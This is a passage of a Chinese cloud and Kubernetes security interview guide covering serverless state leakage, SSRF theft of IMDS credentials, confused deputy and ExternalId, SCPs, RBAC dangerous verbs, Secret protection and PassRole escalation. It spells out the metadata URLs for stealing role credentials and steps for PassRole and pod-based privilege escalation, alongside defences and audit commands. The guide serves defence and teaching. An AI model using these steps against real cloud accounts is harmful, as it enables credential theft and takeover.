│ ★★ /tmp 里的文件还在 │
└──────────────────────────────────────┘
★ 三个真实危险
# ══════════════════════════════════════════════════════════
# 危险 1:★★★ 跨用户数据泄露(★ 最严重)
# ══════════════════════════════════════════════════════════
# ❌ 灾难级代码
current_user = None # ★ 全局变量
def lambda_handler(event, context):
global current_user
current_user = event['user_id'] # ★ 给全局变量赋值
# ... 处理逻辑 ...
return {"data": get_user_data(current_user)}
# ★★ 攻击场景:
# ① 用户 A(id=1001)调用 → current_user = 1001,正常返回 A 的数据
# ② ★ 如果某个分支【提前 return 或抛异常】,current_user 没被重置
# ③ 用户 B(id=1002)调用同一个热实例
# ④ ★ 某个代码路径读了还没被覆盖的 current_user
# → B 看到了 A 的数据!
# ★ 真实事故:这种 bug 极难复现(只在特定时序下出现),
# 一旦出现就是【大规模数据泄露】
# ✅ 正确做法:
# ① ★ 绝不用全局变量存任何【请求相关】的状态
# ② 所有请求相关的东西通过参数传递
def lambda_handler(event, context):
user_id = event['user_id'] # ★ 局部变量,不跨调用
return {"data": get_user_data(user_id)}
# ③ ★ 如果必须用全局变量做缓存(如 DB 连接池),
# 缓存的 key 必须包含用户身份,且【不做鉴权判断】
# ══════════════════════════════════════════════════════════
# 危险 2:★★ /tmp 目录残留(★ 攻击者能用)
# ══════════════════════════════════════════════════════════
# ❌ 危险
def lambda_handler(event, context):
# 下载用户上传的文件到 /tmp 处理
with open('/tmp/upload.xlsx', 'wb') as f:
f.write(download_from_s3(event['key']))
result = process('/tmp/upload.xlsx')
return result
# ★ 文件留在 /tmp 里了!
# ★★ 攻击场景:
# ① 攻击者上传一个恶意文件(如包含病毒、或超大文件)
# ② 函数处理后,文件留在 /tmp
# ③ ★ 如果函数有漏洞(如路径遍历),攻击者能读到上一个用户
# 留在 /tmp 里的敏感文件
# ④ ★ 或者:/tmp 空间被占满(默认 512MB)
# → 后续调用全部失败 = ★ DoS
# ✅ 正确做法(三件事)
import tempfile, os, shutil
def lambda_handler(event, context):
# ① ★ 用临时目录,且用 try/finally 保证清理
tmpdir = tempfile.mkdtemp() # ★ 随机目录名,防冲突
try:
filepath = os.path.join(tmpdir, 'upload.xlsx')
with open(filepath, 'wb') as f:
f.write(download_from_s3(event['key']))
return process(filepath)
finally:
# ② ★★ 无论成功失败都清理
shutil.rmtree(tmpdir, ignore_errors=True)
# ③ ★ 如果必须用 /tmp,每次用前先清空
# for f in os.listdir('/tmp'):
# os.remove(os.path.join('/tmp', f))
# ══════════════════════════════════════════════════════════
# 危险 3:★ 凭据/连接泄漏到下一次调用
# ══════════════════════════════════════════════════════════
# ❌ 危险:把用户凭据缓存在全局
_token_cache = {}
def lambda_handler(event, context):
user = event['user']
if user not in _token_cache:
_token_cache[user] = login(user, event['password'])
return do_something(_token_cache[user])
# ★★ 所有用户的凭据都堆在一个实例的全局字典里
# → 如果攻击者能 dump 内存,一次性拿到所有人的凭据
# ✅ 正确:用外部缓存(ElastiCache / DDB),且带 TTL
# ★ 关键:外部缓存是【独立的服务】,有访问控制和审计
★ 加分点(体现深度)
"冷启动状态残留最麻烦的地方是【它让安全测试变得不可靠】。
传统应用:每次请求都是独立的,你测一次没问题就基本没问题
Serverless:★★ 你测的时候可能是冷启动(干净环境),
生产环境是热启动(脏环境)
所以我做 Serverless 安全测试时会专门加一条:
★ 连续用【不同用户的身份】调用同一个热实例,
检查会不会串数据。
★ 而且这个测试要自动化,放进 CI 里,
因为这类 bug 在代码重构时特别容易被引入
(比如有人为了'优化性能'把局部变量改成了全局变量)。"
J5(★★★)IMDS 是什么?SSRF 怎么偷走云凭据?怎么防?
★ 定义
IMDS(Instance Metadata Service,实例元数据服务):
每台云服务器内部的一个只有本机能访问的特殊服务,
地址是 169.254.169.254(AWS/阿里云/腾讯云略有不同,见下表)。
程序通过它查询自己的实例信息,最重要的是获取临时云凭据。
| 云厂商 | 元数据地址 | 是否默认需要特殊请求头 |
|---|---|---|
| AWS EC2 | http://169.254.169.254/latest/meta-data/ |
✗ 否(IMDSv1)→ ★ 危险 |
| AWS ECS | http://169.254.170.2/v2/credentials |
✗ 否 |
| 阿里云 ECS | http://100.100.100.200/latest/meta-data/ |
✗ 否 |
| 腾讯云 CVM | http://169.254.0.23/latest/meta-data/ |
✗ 否 |
| Azure VM | http://169.254.169.254/metadata/instance |
✓ 需要 Metadata: true |
| GCP | http://169.254.169.254/computeMetadata/v1/ |
✓ 需要 Metadata-Flavor: Google |
★★ GCP 和 Azure 天然免疫简单的 SSRF(因为必须带自定义请求头), AWS/阿里云默认可被简单 SSRF 打到 —— 这就是为什么 AWS 上的这类事故最多。
★ 完整攻击链(背下来,面试常考)
① 目标有个 SSRF 漏洞点(如"输入图片 URL 生成缩略图")
② 攻击者提交:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ 返回角色名:prod-webapp-role
③ 再提交:
http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-webapp-role
→ 返回:
{
"AccessKeyId": "ASIA...", ← ★ ASIA 开头 = 临时凭据
"SecretAccessKey": "...",
"Token": "FwoGZXIvYXdz...",
"Expiration": "..."
}
④ 攻击者在本机配置这套凭据,就能以该角色的身份操作云资源
→ 列桶、下载数据、创建新 IAM 用户(持久化)、挖矿
★★ 真实案例:2019 年 Capital One 泄露 1 亿条数据,就是这个路径
★ IMDSv1 vs IMDSv2
IMDSv1:
GET /latest/meta-data/iam/security-credentials/role
→ 直接返回凭据(★ 一个 GET 就拿到)
IMDSv2(两步):
① PUT /latest/api/token ← ★ 必须是 PUT
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ 返回一个 Token
② GET /latest/meta-data/iam/security-credentials/role
Header: X-aws-ec2-metadata-token: <Token>
→ 返回凭据
★ IMDSv2 为什么能防住大部分 SSRF:
① 需要发【PUT】请求 → 大部分 SSRF 点只能发 GET
② 需要拿到第一次的【响应内容】→ 盲 SSRF 做不到
③ 需要能设置【自定义请求头】→ 很多代理会剥掉
★★ 不能 100% 防住(完整的带外 SSRF 依然可以),
但把门槛从"小学生"提到了"博士生"
★ 防御(必须答全四层)
┌────────────────────────────────────────────────────────────┐
│ 第一层(★ 最重要):云平台层 │
├────────────────────────────────────────────────────────────┤
│ ① 强制 IMDSv2:aws ec2 modify-instance-metadata-options │
│ --http-tokens required │
│ ② ★★ Hop Limit = 1(--http-put-response-hop-limit 1) │
│ → 容器里发的包到不了宿主机的 IMDS(★ 挡住容器场景) │
│ ③ 启动模板固化(防新机器回潮) │
│ ④ SCP 兜底(禁止启动 IMDSv1 的实例) │
└────────────────────────────────────────────────────────────┘
↓
┌────────────────────────────────────────────────────────────┐
│ 第二层:网络层 │
├────────────────────────────────────────────────────────────┤
│ ① K8s NetworkPolicy:169.254.169.254 加入 egress except │
│ ② 出网走 NAT 白名单(★ 默认拒绝所有出网) │
│ ③ 主机防火墙(iptables)阻止容器访问该地址 │
└────────────────────────────────────────────────────────────┘
↓
┌────────────────────────────────────────────────────────────┐
│ 第三层:应用层(SSRF 防护,见 10.2.3 完整代码) │
├────────────────────────────────────────────────────────────┤
│ ① 协议白名单(只放行 http/https) │
│ ② 解析 IP 后检查是否在黑名单网段 │
│ ③ ★ 禁止 IP 字面量的各种变形(十进制/八进制/十六进制) │
│ ④ ★★ 解析后绑定 IP(防 DNS Rebinding) │
│ ⑤ allow_redirects=False,每个跳转都要重新校验 │
│ ⑥ 限制响应大小(防内存打爆) │
└────────────────────────────────────────────────────────────┘
↓
┌────────────────────────────────────────────────────────────┐
│ 第四层:权限层(★ 降低爆炸半径) │
├────────────────────────────────────────────────────────────┤
│ ★★ 即使凭据被偷,也做不了什么: │
│ ① 实例角色最小权限 │
│ ② ★ 用 SCP 禁止创建 IAM 用户/AK(防持久化) │
│ ③ 敏感桶加 KMS 密钥策略,限制只能从特定角色访问 │
│ ④ ★ 开启 GuardDuty(能检测到"凭据从异常 IP 使用") │
└────────────────────────────────────────────────────────────┘
★ 加分点
"我想补充一个很多人忽略的点:
★★ 光开 IMDSv2 是不够的,因为攻击者可以用【其他路径】拿凭据:
① 容器逃逸到节点 → 节点上的 /var/lib/kubelet 里有所有 Pod 的 token
② 读取环境变量(很多人把 AK/SK 放环境变量)
③ 读取挂载的 kubeconfig
④ 读取应用的配置文件
⑤ ★ 通过云厂商的其他服务(如 ECS 的 169.254.170.2)
所以我的检查清单是:
☑ IMDSv2 + hop limit(第一道)
☑ ★★ 全面排查:机器上到底有多少地方存着凭据?
(环境变量、配置文件、挂载卷、日志)
☑ ★ 用 Falco 监控'读取凭据文件'的行为(运行时检测)
★ 最后一道防线是【权限最小化】——
如果实例角色本来就只有读一个桶的权限,
那即使被偷,损失也有限。"
J6(★★★)什么是混乱代理人问题?ExternalId 怎么解决?
★ 定义
Confused Deputy(混乱代理人 / 困惑的副手): 一个有权限的程序(代理人)被没有权限的攻击者利用, 因为它没有验证“这次请求是替谁做的”, 导致攻击者借用它的权限完成了自己无权做的事。
★ 经典类比(面试时用这个讲,最清楚)
你(客户)去银行办业务。
柜员(代理人)的【工作职责】就是能查任何人的账户。
第一天:
你说:"帮我查我的账户:6222 0000 1234 5678"
柜员查了,告诉你余额。(正常)
第二天:
你说:"帮我查我的账户:6222 0000 9999 8888" ← ★ 这是别人的账号
柜员又查了,又告诉你余额。
★★★ 这就是混乱代理人:
柜员有权限(查任何账户),
但【没有验证你是不是这个账户的主人】
→ 你借柜员的权限,看到了别人的隐私
★ 云上的真实场景
场景:你用一家第三方监控公司(Vendor)的服务,
让它读你们 S3 的日志桶做分析。
做法:你在自己账号建角色 VendorAccessRole,
信任策略允许 Vendor 的账号来扮演,
把角色的 ARN 告诉 Vendor。
★★ 攻击(如果没配 ExternalId):
① Vendor 的另一家客户(攻击者)知道了这个 ARN
★ ARN 不是秘密!可能出现在:
- 公开的技术文档、教程
- Stack Overflow 提问
- 错误日志、堆栈信息
- Vendor 的公开文档
② 攻击者对 Vendor 说:"帮我分析我的日志,
我的角色 ARN 是 arn:aws:iam::公司A:role/VendorAccessRole"
③ Vendor 的程序不疑有他,去 AssumeRole
→ ★ 成功!因为信任策略只写了"允许 Vendor 账号",
而请求确实是从 Vendor 的程序发起的
④ ★★ 攻击者读到了公司 A 的日志
★ ExternalId 怎么解决
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::VENDOR账号:root"},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "8f3d9a2b-4c1e-7f6a-9b8d-2e5c4a1f3b7d"
}
}
}
★★★ 为什么这样就安全了(★ 这段要说清楚,面试官最爱追问"为什么")
① 你生成一个【随机字符串】(UUID),每个客户一个
② 这个 ExternalId 只在【你和 Vendor 之间】,
★ 从不经过攻击者
③ Vendor 的程序逻辑:
"当前登录的客户是 X → 查数据库拿到 X 的 ExternalId →
用这个 ExternalId 去 AssumeRole"
④ 攻击者的请求:
★ 攻击者登录的是【他自己的账号】
→ Vendor 查表拿到的是【攻击者自己的 ExternalId】
→ 用它去 AssumeRole 【公司 A 的角色】
→ ★ 条件不匹配(公司 A 的 ExternalId ≠ 攻击者的 ExternalId)
→ ★★ 失败
★ 关键点:攻击者知道 RoleArn(不保密),
但【不知道公司 A 的 ExternalId】,
而且【无法让 Vendor 用 A 的 ExternalId 去 Assume】
★ 常见错误(踩坑清单)
❌ 错误 1:所有客户共用一个 ExternalId
→ 等于没有,攻击者只要拿到这一个就行
✅ 每个客户独立随机值
❌ 错误 2:ExternalId 用了可预测的值(如客户名、域名)
→ "company-a" 这种,攻击者猜得到
✅ 用 UUID v4(122 位随机)
❌ 错误 3:把 ExternalId 当成"秘密"
★ 澄清:AWS 官方文档明确说 ExternalId 【不是】密钥,
它会出现在 CloudTrail 日志里
★ 它的作用是【区分客户】,不是【认证身份】
✅ 真正的认证靠的是"只有 Vendor 的程序会用这个值"
❌ 错误 4:★ 只配了 ExternalId,没限制 Principal
✅ 应该指定 Vendor 的具体角色,而不是整个 root 账号
"Principal": {"AWS": "arn:aws:iam::VENDOR:role/VendorScannerRole"}
(★ 信任整个账号 = 对方账号里任何有权限的主体都能来)
★ 加分点
"混乱代理人不只是第三方 SaaS 的问题,云上还有几个变体:
① ★★ GitHub Actions OIDC 没限制 sub(2023~2025 最火的攻击)
只写了'信任 GitHub 的 OIDC 提供商',没写'信任我的哪个仓库'
→ 攻击者建个公开仓库就能 AssumeRole
② 跨账号共享资源的信任策略写 Principal: "*"
③ ★ 云服务商的'服务角色'被滥用
比如你建了个角色信任某个云服务(如 CloudFormation),
攻击者如果能调用那个服务,就能借它的权限
★ 本质规律(这是我想强调的):
★★ 只要【你的资源信任了一个'别人也能触发'的主体】,
就有混乱代理人风险。
判断方法:问一句'这个 Principal,是不是只有我能触发它?'
不是 → 必须加 Condition 做二次区分"
J7(★★)权限边界(Permissions Boundary)和 SCP 有什么区别?
★ 一句话区别
- 权限边界是账号内的“天花板”,用于安全地授权给团队(委托工具)
- SCP 是组织级的“宪法”,用于强制合规底线,账号管理员改不了
★ 详细对比
| 维度 | Permissions Boundary | SCP |
|---|---|---|
| 作用范围 | 单个 IAM 用户/角色 | 整个账号 / OU(组织单元) |
| 谁能配置 | 账号内的管理员 | 组织管理员(账号管理员改不了) |
| 能 Allow 吗 | 作为边界时只做上限,本身可含 Allow | 只能 Deny,不能 Allow |
| 典型用途 | 让开发团队自助建角色,但不超上限 | 禁止关闭审计日志、限制区域 |
| 绕过难度 | 账号管理员可以改 | ★ 账号管理员改不了(★ 这是最大区别) |
| 对 root 生效吗 | 不生效 | 生效(除非显式排除) |
★ 权限边界解决的真实问题
场景:你想让开发团队能【自助创建 IAM 角色】(不要每个都找运维)
但担心:
★ 给了他们 iam:CreateRole + iam:AttachRolePolicy
→ 他们可以建角色 + 贴 AdministratorAccess + 自己扮演
→ ★★ 绕过所有限制,提权成功
解决:权限边界
① 运维预建"边界策略"(如只能碰 s3、sqs、lambda)
② 规定开发建角色时必须带这个边界
③ 实际权限 = 角色策略 ∩ 边界策略
→ 就算贴了 AdministratorAccess,实际只有 3 个服务的权限
★★★ 命门(★ 面试加分点):
★ 必须同时 Deny 掉 iam:DeleteRolePermissionsBoundary
和 iam:PutRolePermissionsBoundary!
否则开发可以:建角色 → 贴管理员 → ★ 删掉边界 → 提权成功
★ 这条 Deny 是整套方案的命门,很多人配漏了
★ SCP 的实战例子
{
"Sid": "禁止关闭审计日志",
"Effect": "Deny",
"Action": ["cloudtrail:StopLogging", "cloudtrail:DeleteTrail"],
"Resource": "*"
}
★ SCP 的三个坑(踩过的都懂)
① ★ SCP 不授予权限,只限制权限
只挂 SCP 而没挂身份策略 → 用户什么都做不了
(新手常见错误:挂完 SCP 发现所有人都用不了了)
② ★ SCP 对【服务关联角色】也生效
可能导致某些托管服务初始化失败
→ 必须先在测试 OU 验证 1~2 周
③ ★ "区域限制"规则容易误伤
IAM/CloudFront/Route53 是全球服务,不属于任何区域
→ 必须放进 NotAction,否则连 IAM 都用不了
J8(★★)云上有哪几种凭据形态?危险度怎么排?目标是什么?
★ 四种形态
┌──────────────┬────────────────┬──────────┬──────────────────┐
│ 形态 │ 白话 │ 危险度 │ 识别特征 │
├──────────────┼────────────────┼──────────┼──────────────────┤
│ 长期 AK/SK │ 永不过期的钥匙 │ ★★★★★ │ AWS: AKIA 开头 │
│(IAM User) │ │ │ 阿里云: LTAI │
├──────────────┼────────────────┼──────────┼──────────────────┤
│ 临时 STS │ 有过期时间的钥匙 │ ★★☆☆☆ │ AWS: ASIA 开头 │
│ │ 15分~12小时 │ │ 带 SessionToken │
├──────────────┼────────────────┼──────────┼──────────────────┤
│ 实例角色 │ 绑机器上的钥匙 │ ★★☆☆☆ │ 从 IMDS 取 │
│(IMDS) │ 自动轮换 │ │ 自动轮换 │
├──────────────┼────────────────┼──────────┼──────────────────┤
│ ★ OIDC 联邦 │ 没有钥匙 │ ★☆☆☆☆ │ GitHub Actions / │
│ │ 用身份证换 │ │ K8s SA / IRSA │
└──────────────┴────────────────┴──────────┴──────────────────┘
★★★ 一句话目标:消灭所有长期 AK/SK
★ 为什么长期 AK/SK 这么危险
① 不过期 → 泄露后攻击者可以慢慢用,你可能几个月后才发现
② ★ 存在的地方太多(这是关键):
- 代码仓库(★ 最常见)
- 环境变量
- 日志(★ 尤其是 CI 日志,而且 CI 日志常常是公开的)
- 前端 JS 打包产物
- Docker 镜像层(★ 删掉文件也没用,历史 layer 还在)
- 配置文件
- 错误堆栈
③ 无法撤销"某一处" → 只能整体禁用,影响所有使用方
④ ★★ 最要命:GitHub 上的密钥扫描机器人,
从你 push 到公开仓库的那一刻起,
★ 平均 3~5 分钟就会有人来尝试用你的 AK/SK
★ 不是"可能被发现",是"一定会被发现"
★ 迁移路径(怎么消灭长期 AK/SK)
场景 → 替代方案
─────────────────────────────────────────────
应用跑在 EC2/ECS 上 → ★ 实例角色 / Task Role(IMDS 取临时凭据)
应用跑在 K8s 上 → ★ IRSA / Workload Identity(见 10.4.3)
CI/CD(GitHub Actions) → ★ OIDC 联邦(★ 不要存 AK/SK 到 Secrets)
CI/CD(Jenkins 等自建) → OIDC 或 Vault 动态凭据
本地开发 → SSO + 短期凭据(aws sso login)
第三方 SaaS → AssumeRole + ExternalId
定时任务 / Lambda → 执行角色(★ 天然没有长期密钥)
★★ 常见的"过渡期"做法(如果短期内改不完):
① 用 SCP 禁止创建新 AK(★ 止血,防止继续增加)
② 给所有存量 AK 打标签,设 90 天轮换提醒
③ 用 CloudTrail 找出【长期没用】的 AK → 直接删
④ ★ 开启云厂商的泄露检测(AWS 会自动给泄露的 AK 打标签并限权)
J9(★★)IaC 安全为什么重要?有哪些工具?怎么落地?
★ 为什么重要(这是最好的“安全左移”落点)
★ 云上第一大安全问题 = 配置错误(不是漏洞)
传统:配置错误只能在【运行时】发现 → 成本高
IaC:配置变成了代码 → ★★ 可以在【写代码时】发现
★ 三个时机对比:
① 写代码时(左移) → 改一行,成本几乎为 0
② 部署时 → 重新走流程,成本中等
③ 运行时(已出事) → 应急响应,成本极高
★ 生活类比:
以前是"房子盖好了才发现没消防通道"(要拆)
现在是"看图纸时就发现"(改图纸,不要钱)
★ 工具对比
| 工具 | 特点 | 适合 |
|---|---|---|
| Checkov | 规则最多(1000+)、支持 YAML 自定义规则、支持基线 | ★ 首选,覆盖 terraform/k8s/dockerfile/CF/helm |
| tfsec | 快(Go 写)、输出美观 | 纯 Terraform 项目 |
| KICS | 支持语言最多(15+) | 混合技术栈 |
| Terrascan | 支持 Rego、可当准入控制器 | 已用 OPA 的团队 |
| Trivy | ★ 全能:IaC + 镜像 + 依赖 + 密钥 + SBOM | ★ 一个工具搞定所有 |
★ 落地三步走(★ 这是最重要的实战经验)
问题:老项目第一次跑扫描报了 400 个问题
→ 开发说"太多了,改不动"
→ 工具被搁置,再也没人用
★ 这是安全工具落地失败的最常见原因
✅ 正确做法:
第一步:【建立基线,止血】
checkov -d . --create-baseline
→ 400 个存量问题"记账",CI 只报【新增】问题
→ ★ 保证"不再变坏",这是最重要的
第二步:【分期清理存量】
按严重度排序,先清 CRITICAL(一般就 5~10 个)
每个迭代清 20 个,写进 sprint
★ 不要一次清完,会拖垮业务迭代
第三步:【高危设为硬性门禁】
只对 CRITICAL + HIGH 设为 hard-fail
MEDIUM/LOW 只警告不阻塞
★ 这样开发不会觉得"安全在添乱"
★★ 核心心法:
★ 安全工具落地的第一目标不是"消灭所有问题",
而是"【不再变坏】"。
只要新增代码是干净的,存量问题会慢慢被消化。
J10(★★★)K8s RBAC 的四个对象是什么?哪些 verb 危险?
★ 四个对象
Role / ClusterRole = 【权限清单】(能做什么)
RoleBinding / ClusterRoleBinding = 【授权动作】(把这个清单给谁)
★ Role vs ClusterRole:命名空间内 vs 全集群
★ 主体(Subject)三种:User / Group / ServiceAccount
★ 危险的 verb(★ 这一问是重点)
┌────────────────────────────────────────────────────────────┐
│ ★★★ secrets 的 get/list(★ 最被低估的危险) │
├────────────────────────────────────────────────────────────┤
│ 为什么危险: │
│ ① Secret 里有数据库密码、云 AK/SK、TLS 私钥 │
│ ② ★★ 更致命:ServiceAccount 的 token 也存为 Secret! │
│ → 拿到任意 SA 的 token = 变成那个 SA │
│ → 如果那个 SA 权限更大 → ★ 提权成功 │
│ │
│ 常见场景: │
│ "给监控组件 secrets 读权限,方便读 TLS 证书" │
│ → 结果它能读所有 Secret,包括其他 SA 的 token │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ ★★★ pods/create 或 pods/exec(★ 等于节点 root) │
├────────────────────────────────────────────────────────────┤
│ ① 我可以创建 Pod,指定 hostPID + privileged + hostPath / │
│ ② Pod 启动 → 拿到节点 root │
│ ③ 节点上有 kubelet 的 kubeconfig、节点角色的云凭据 │
│ ★★★ → "只是能创建 Pod" = 整个集群 │
│ │
│ pods/exec 同理:能 exec 进任意 Pod │
│ → 进到有高权限 SA 的 Pod → 读它的 token → 提权 │
│ │
│ ★★ 关键认知: │
│ ★ RBAC 【无法】解决这个问题! │
│ ✅ 必须用 Pod Security Admission / Kyverno 限制 │
│ "能创建什么样的 Pod"(见 J16) │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ ★★ escalate / bind / impersonate │
├────────────────────────────────────────────────────────────┤
│ escalate: 能创建【超出自己权限】的 Role │
│ bind: 能把【超出自己权限】的 Role 绑给自己 │
│ impersonate:能伪装成别人(kubectl --as=system:master) │
│ │
│ ★ K8s 有内置防护: │
│ 默认【不能】创建/绑定超出自己权限的 Role │
│ ★ 除非有 escalate 或 bind │
│ → ★★ 所以:永远不要给任何人 escalate / bind │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ ★★ serviceaccounts/token 的 create │
├────────────────────────────────────────────────────────────┤
│ 可以为【任意 SA】签发 token │
│ → 包括 cluster-admin 权限的 SA → ★ 直接提权 │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ ★★ certificatesigningrequests 的 create/approve │
├────────────────────────────────────────────────────────────┤
│ 可以签发客户端证书 → 伪装成任意用户 │
└────────────────────────────────────────────────────────────┘
★ 通配符与 default SA(两个最常见的坑)
# 坑 1:通配符 = cluster-admin
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
# 坑 2:★★ default SA 被绑了高权限
subjects:
- kind: ServiceAccount
name: default # ← ★★ 千万别用 default
namespace: default
roleRef:
kind: ClusterRole
name: cluster-admin # ← ★★★
# ★ 后果:该命名空间里【每一个没指定 SA 的 Pod】都是集群管理员
# → 攻击者跑一个最普通的 Pod 就沦陷了
★ 审计脚本(给出这个会加分)
# 谁能读所有 Secret?
kubectl get clusterroles -o json | jq -r '
.items[] | . as $cr | (($cr.rules // [])[])
| select((.resources // []) | any(. == "secrets" or . == "*"))
| select((.verbs // []) | any(. == "get" or . == "list" or . == "*"))
| " ★ \($cr.metadata.name)"'
# 谁有 escalate / bind / impersonate?
kubectl get clusterroles,roles -A -o json | jq -r '
.items[] | . as $r | (($r.rules // [])[])
| select((.verbs // []) | any(. == "escalate" or . == "bind" or . == "impersonate"))
| " ★★★ \($r.kind)/\($r.metadata.name)"'
# ★ 用 rbac-tool 算提权路径(推荐工具)
rbac-tool analysis
rbac-tool visualize --outformat dot > rbac.dot && dot -Tpng rbac.dot -o rbac.png
J11(★★★)ServiceAccount 默认挂载 token 有什么风险?怎么防?
★ 风险:K8s 默认给每个 Pod 都挂载 SA token
★ 关键事实:
K8s 【默认】把 SA token 挂载到每个 Pod 的
/var/run/secrets/kubernetes.io/serviceaccount/token
也就是说:
你跑一个最简单的 nginx Pod
→ 它里面就有这个 token
→ 没指定 SA 的话,用的是 default SA
→ ★ 攻击者拿下这个 nginx(哪怕只是个能读文件的漏洞),
就能拿 token 去调 K8s API
★ 生活类比:
每个员工入职,公司默认发一张"能开所有会议室"的卡,
哪怕他的工作根本不需要进会议室。
→ 为什么?因为"默认发"比"按需发"省事。
★ 三步防护
# ① ★★★ 默认不挂载(绝大多数业务 Pod 根本不需要调 K8s API)
apiVersion: v1
kind: Pod
spec:
automountServiceAccountToken: false # ★★★ 关键配置
---
# 或 SA 级别(推荐,一次配置,所有用这个 SA 的 Pod 生效)
apiVersion: v1
kind: ServiceAccount
metadata:
name: app-sa
automountServiceAccountToken: false
# ② ★★ 用投影 Volume 的短期 token(K8s 1.21+)
# 真正需要调 API 的组件用这个
spec:
automountServiceAccountToken: false
volumes:
- name: kube-api-access
projected:
sources:
- serviceAccountToken:
path: token
expirationSeconds: 3600 # ★ 1 小时过期
audience: my-internal-api # ★ 限制受众
★ 老式 token 的四个问题(对比新式):
① 不过期 → 新式:1 小时过期,kubelet 自动续期
② 无 audience 限制 → 新式:绑定 audience
③ 存在 etcd 的 Secret → 新式:不存在 Secret,读 secrets 也拿不到
④ 不绑定 Pod → 新式:Pod 删了 token 自动失效
# ③ ★ 用 Kyverno 全局自动注入(最省心)
# 开发什么都不用做,所有 Pod 默认就没有 token
# 真正需要的(如 Operator)显式打开
★ 检测
# 找出所有还挂载了 token 的 Pod
kubectl get pods -A -o json | jq -r '
.items[]
| select(.spec.automountServiceAccountToken != false)
| " \(.metadata.namespace)/\(.metadata.name)"' | head -30
# ★ 注意:还要检查 SA 级别的设置
kubectl get sa -A -o json | jq -r '
.items[]
| select(.automountServiceAccountToken == true)
| " SA: \(.metadata.namespace)/\(.metadata.name) 强制挂载"'
J12(★★★)K8s Secret 是加密的吗?怎么真正保护它?
★ 必须破除的误解
★★★ K8s 的 Secret 【不是加密的】,它只是 base64 编码。
base64 是编码,不是加密。任何人 1 秒就能解出来:
echo 'YWRtaW4xMjM=' | base64 -d
→ admin123
★ 生活类比:
把密码写在纸上,放进一个"透明的文件袋",
袋子上贴着"机密"两个字。
→ 看起来像保护了,实际谁都能看见。
★ 而且 etcd 里也是明文(未开启静态加密的话)
★ 四种保护方案(按推荐顺序)
┌────────────────────────────────────────────────────────────┐
│ ★★★★ 方案 1:根本不用 Secret(云资源场景) │
├────────────────────────────────────────────────────────────┤
│ 用 IRSA / Workload Identity(见 10.4.3) │
│ ★★ 没有密钥 = 没有泄露 │
│ → 访问 S3/OSS/数据库(支持 IAM 认证的)都应该走这条路 │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ ★★★ 方案 2:Vault + CSI Driver(动态凭据) │
├────────────────────────────────────────────────────────────┤
│ ① Secret 存在 Vault,通过 CSI 卷挂载进 Pod │
│ ② ★★ 根本不创建 K8s Secret 对象! │
│ ③ ★ 动态凭据:每次用都是新的密码(1 小时过期) │
│ → 适合:数据库密码、API Token │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ ★★ 方案 3:External Secrets Operator │
├────────────────────────────────────────────────────────────┤
│ ① 真源在云密钥管理服务(Secrets Manager / KMS) │
│ ② Operator 自动同步成 K8s Secret │
│ ③ ★ 好处:单一数据源、自动轮换、集中审计 │
│ ★ 缺点:最终还是落成了 K8s Secret(仍有 base64 问题) │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ ★ 方案 4:开启 etcd 静态加密(★ 基础,必须做) │
├────────────────────────────────────────────────────────────┤
│ ① aescbc:密钥在 master 节点配置文件里 │
│ ★ 问题:能登录 master 的人就能拿到密钥 │
│ ② ★★ kms:密钥在云 KMS 里(推荐) │
│ - 密钥不在节点上(节点被攻破也拿不到) │
│ - 有完整的密钥使用审计 │
│ - ★ 可以在云侧一键禁用 → 整个集群的 Secret 立刻无法解密 │
│ ★★ 这是应急响应的杀手锏 │
└────────────────────────────────────────────────────────────┘
★ 必答的坑
★ 坑 1:★ 开启加密【不会】自动加密已有 Secret
→ 必须强制重写一次:
kubectl get secrets -A -o json | kubectl replace -f -
★ 坑 2:直接给 etcd 挂 TLS 不等于加密
TLS 只保护【传输中】,etcd 落盘的数据还是明文
★ 必须用 EncryptionConfiguration
★ 坑 3:★ RBAC 才是第一道防线
就算开了 KMS 加密,如果某人有 secrets get 权限,
他调用 API 时 apiserver 会解密后返回明文
→ ★ 加密只防"直接扒 etcd 文件",不防"有权限的人"
→ ★★ 所以:严格限制 secrets 的 get/list 权限(见 J10)
10.8.2 进阶题(J13 ~ J22)
J13(★★★)什么是云上提权?为什么 PassRole 是“提权之王”?
★ 定义与本质区别
云上提权(Cloud Privilege Escalation):
低权限主体,利用【已有的正常权限】,让自己权限变得更大。
★ 与传统提权的根本区别:
传统 Linux 提权:靠【漏洞】(未打补丁的内核、SUID 配置错误)
云上提权:★ 靠【正常功能的组合】,不需要任何漏洞
★ 例子:
iam:PutUserPolicy(改自己的策略)
+ iam:AttachUserPolicy(给自己贴策略)
= 可以给自己贴 AdministratorAccess
★★ 单看每个权限都很合理,组合起来致命
★ 这不是漏洞,这是【功能】
★ 为什么 PassRole 是“提权之王”
★ 什么是 PassRole:
启动 EC2 / Lambda / ECS 任务时,可以指定"它扮演哪个角色"
→ ★ 如果你能指定一个管理员角色,
你就能登录这台机器,从 IMDS 拿到管理员凭据!
★ 完整攻击:
① 找账号里权限大的角色(如 OrganizationAccountAccessRole)
② 创建 Instance Profile 并关联这个角色
③ 启动一台 EC2,挂上这个角色,UserData 里写"把凭据发给我"
④ 机器启动,凭据到手 → 完全沦陷
★★★ 为什么它最危险(三个理由):
① 【业务天然需要它】
CI/CD 要启动资源,就必须有 PassRole
→ 你不能简单地"不给这个权限"
② 【危险不明显】
"我只是启动一台机器而已,有什么问题?"
→ 大部分人(包括很多运维)不知道 PassRole 的风险
③ 【防护容易被忽略】
大家盯着"有没有 AdministratorAccess",
却没注意"PassRole 的 Resource 是不是 *"
★ 防护(★ 这三句最关键):
✅ PassRole 的 Resource 【必须】精确到具体角色 ARN
❌ "Resource": "*"
